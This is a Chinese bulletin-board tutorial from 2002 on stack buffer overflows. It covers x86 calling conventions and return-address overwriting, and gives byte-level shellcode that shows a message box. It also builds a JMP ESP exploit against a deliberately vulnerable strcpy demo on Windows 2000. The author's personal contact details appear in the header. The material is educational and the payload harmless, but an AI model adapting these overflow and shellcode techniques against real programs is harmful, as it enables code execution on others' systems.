PersonalCorpus 版 (精华区)
发信人: Kermit (从小就笨), 信区: Hacker
标 题: 浅谈简单的远程缓冲区溢出(转载)
发信站: 哈工大紫丁香 (Sat Nov 23 11:40:17 2002) , 转信
浅谈简单的远程缓冲区溢出
作者:聂慧芳 网名:小龙女
信箱:niehuifang@sohu.com qq:48839883
TEL:13513696100
1,C语言调用约定
先看这样一个例子:
int function(int a, int b)
{
return a-b;
}
...
function(1,2);
...
(1),C调用约定。此调用约定规定函数入口参数按从右到左的顺序入栈,并由调用
者清理栈中的参数。如果上述代码由C调用约定被编译,则被编译后的汇编代码如下:
_function proc
push ebp
mov ebp, esp
mov eax, [ebp+8]
sub eax, [ebp+0ch]
mov esp, ebp
pop ebp
ret
_function endp
...
push 2
push 1
call _function
add esp, 4*2
...
(2),Pascal调用约定。此调用约定规定函数入口参数按从左到右的顺序入栈,并由
被调用者清理栈中的参数。如果上述代码由Pascal调用约定被编译,则被编译后的汇编代
码如下:
_function proc
push ebp
mov ebp, esp
mov eax, [ebp+8]
sub eax, [ebp+0ch]
mov esp, ebp
pop ebp
ret 4*2
_function endp
...
push 1
push 2
call _function
...
(3),WIN32 的标准调用约定。此调用约定规定函数的参数按从右到左的顺序入栈,
并由被调用者清理栈中的参数。如果上述代码由标准调用约定被编译,则被编译后的汇编
代码如下:
_function proc
push ebp
mov ebp, esp
mov eax, [ebp+8]
sub eax, [ebp+0ch]
mov esp, ebp
pop ebp
ret 4*2
_function endp
...
push 2
push 1
call _function
...
2,什么是缓冲区溢出?
“缓冲区”指的就是堆栈。一般一个函数具有属于它自己的堆栈,如果该函数访问超出这
个堆栈的地址,就会引起“缓冲区溢出”。子函数的堆栈一般由以下语句建立:
push ebp
mov ebp, esp
sub esp, 16 ;这个值是建立的堆栈的大小
...
...
mov esp, ebp
pop ebp
程序第三行的 sub esp, xxxxxxxx就是建立的堆栈大小,如果本函数访问超过这个堆栈地
址的数据将会破坏整个程序的运行数据。一个具有缓冲区溢出漏洞的程序容易被黑客利用
,黑客可以用一个特定的数据覆盖某个内存地址,如果这个地址刚好是本函数的返回地址
的话,程序将会改变原先的正常流程,从而黑客掌握整个控制权。下面举一个简单而且有
意思的例子,看一下如何覆盖堆栈。
void main()
{
__asm mov dword ptr [ebp+4], 0AAAAAAAAh
}
这是一个完整的C程序。它编译运行后会出现一个程序崩溃对话框,上面显示:
"0xAAAAAAAA"指令引用的"0xAAAAAAAA"内存。该内存不能为"read"。
为什么会这样呢?我们看一下上面程序的反汇编代码:
_main proc
push ebp ;@1
mov ebp, esp ;@2
mov dword ptr [ebp+4], 0AAAAAAAAh ;@3
mov esp, ebp
pop ebp
ret ;@4
_main endp
在程序执行到@1前 esp 的内容是_main函数的返回地址,即[ESP]=_main函数返回地址,执
行完@1后ESP减少4,此时[ESP+4]=_main函数返回地址,执行完@2后[EBP+4]=_main函数返回
地址,@3将返回地址用0AAAAAAAAH覆盖,所以当@4被执行后,程序的EIP将指向地址0AAAAAAA
AH,这个地址显然是不可读写的.
明白了这个原理,你就可以做个更有意思的程序了:
void main()
{
char* shellcode="\xcc\xcc\xcc\xcc\xcc\xcc";
__asm
{
lea eax, shellcode
mov eax, [eax]
mov [ebp+4], eax
}
}
这个程序并没有直接指定覆盖地址,而是把字符串 shellcode ("\xcc\xcc\xcc\xcc\xcc\x
cc"的地址覆盖于返回地址上,因此当程序返回时将执行shellcode("\xcc\xcc\xcc\xcc\xc
c\xcc"字符串.众所周知,0xcc是INT 3的机器码,所以此程序运行后也会显示崩溃对话框,上
面显示:
"应用程序发生异常 unknown software exception(0x80000003),位置为0x0041ff3c.
"
黑客可以使用一个他自己设计的可执行的字符串来完成他想要的功能.下面的汇编程序显示
一个消息框后结束进程:
33 C0 xor eax,eax
50 push eax
50 push eax
50 push eax
50 push eax
B8 68 3D E2 77 mov eax,77E23D68h
FF D0 call eax
B8 BB B0 E7 77 mov eax,77E7B0BBh
FF D0 call eax
其中77E23D68h是WINDOWS 2000 API MessageBoxA的地址,77E7B0BBh是ExitProcess的地址
.
把上面的程序中
char* shellcode="\xcc\xcc\xcc\xcc\xcc\xcc";
改为
char* shellcode="\x33\xc0\x50\x50\x50\x50\xb8\x68\x3d\xe2\x77\xff\xd0\xb8\
xbb\xb0\xe7\x77\xff\xd0";
然后编译并运行,将会显示一个消息框,点确实后程序退出.
但是这并不是一个具有缓冲区溢出漏洞的程序.以下是一个典型的具有缓冲区溢出漏洞的函
数:
void overflow(char* str)
{
char buff[16]; //@1
strcpy(buff,str); //@2
}
@1定义了一个16个字节的缓冲区,@2企图把参数str复制到只有16个字节的堆栈中,如果参数
的字符串长度超过16字节的话,将引起堆栈溢出.以下是这个函数的反汇编:
7:
8: void overflow(char* str)
9: {
0040B4B0 push ebp
0040B4B1 mov ebp,esp
0040B4B3 sub esp,50h
0040B4B6 push ebx
0040B4B7 push esi
0040B4B8 push edi
0040B4B9 lea edi,[ebp-50h]
0040B4BC mov ecx,14h
0040B4C1 mov eax,0CCCCCCCCh
0040B4C6 rep stos dword ptr [edi]
10: char buff[16];
11: strcpy(buff,str);
0040B4C8 mov eax,dword ptr [ebp+8]
0040B4CB push eax
0040B4CC lea ecx,[ebp-10h]
0040B4CF push ecx
0040B4D0 call strcpy (00403340)
0040B4D5 add esp,8
12: }
0040B4D8 pop edi
0040B4D9 pop esi
0040B4DA pop ebx
0040B4DB add esp,50h
0040B4DE cmp ebp,esp
0040B4E0 call __chkesp (00401060)
0040B4E5 mov esp,ebp
0040B4E7 pop ebp
0040B4E8 ret
调用overflow 的语句:
char* sc="aaaa";
overflow(sc);
反汇编后的语句:
18: char* sc="aaaa";
0040B508 mov dword ptr [ebp-4],offset string "aaaa" (0041ff3c)
19: overflow(sc);
0040B50F mov eax,dword ptr [ebp-4]
0040B512 push eax
0040B513 call @ILT+5(overflow) (0040100a)
0040B518 add esp,4
调用overflow 前 ESP = 0012FF30,overflow函数的堆栈布局如下:
ESP 值
------------------------
0012FF10 CCCCCCCC
0012FF14 CCCCCCCC ---缓冲区---
0012FF18 CCCCCCCC ---缓冲区---
0012FF1C CCCCCCCC ---缓冲区---
0012FF20 CCCCCCCC ---缓冲区---
0012FF24 0012FF80 -> EBP 的值,由0040B4B0 push ebp 压入
0012FF28 0040B518 -> 调用overflow后返回的地址,是0040B513 call ...的下一条语
句地址
0012FF2C 0041FF3C -> 参数 str 的地址,由0040B512 push eax 压入
当overflow执行完 0040B4CC lea ecx,[ebp-10h]后,ECX 指向"缓冲区"的基址,即0012FF1
4 ,str字符串将被复制到0012FF14 地址开始的内存中.所以当str字符串的长度达到缓冲区
大小+8的时候,刚好可以覆盖返回地址.
把
char* sc="aaaa";
改为
char* sc="0123456789012345AAAABBBB"; //20个字节
编译运行,程序出现崩溃对话框,上面显示:
"0x42424242"指令引用的"0x42424242"内存.该内存不能为"read".
注意0x42是‘B‘的ASCII值,这个内存刚好是字符串sc的最后4个字节.
也就是说, 这个字符串可以控制整个函数的流程,那么如何让程序来运行攻击者的代码呢?
攻击者的代码可以附加在字符串参数的后面,即...BBBB的后面,而BBBB可以由这个字符串后
面的攻击代码的地址来取代,但是这个地址是0012FF2C,含有字符0X00,函数strcpy将无法复
制0X00后面的字符串.
在执行完RET语句后,ESP增加4,也就是说,ESP指向了攻击代码,所以返回地址可以是一个
JMP ESP 语句,这样,攻击代码便取得了程序的控制权。
0x77e2e32a是JMP ESP(FFE4)在WINDOWS 2000某一版本的USER32.DLL中的地址,用0x77e2
e32a来覆盖返回地址,攻击代码选用上述的显示消息框的代码,于是
char* sc="0123456789012345AAAABBBB";
变为:
char* sc="0123456789012345AAAA" "\x2a\xe3\xe2\x77" "\x33\xc0\x50\x50\x50\x
50\xb8\x68\x3d\xe2\x77\xff\xd0\xb8\xbb\xb0\xe7\x77\xff\xd0";
编译运行,将会显示一个消息框,点确实后程序退出.
以上是学习工程中的一点心得。。
有任何技术交流可以联系
--
※ 来源:.哈工大紫丁香 http://bbs.hit.edu.cn [FROM: 211.155.255.130]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间:10.912毫秒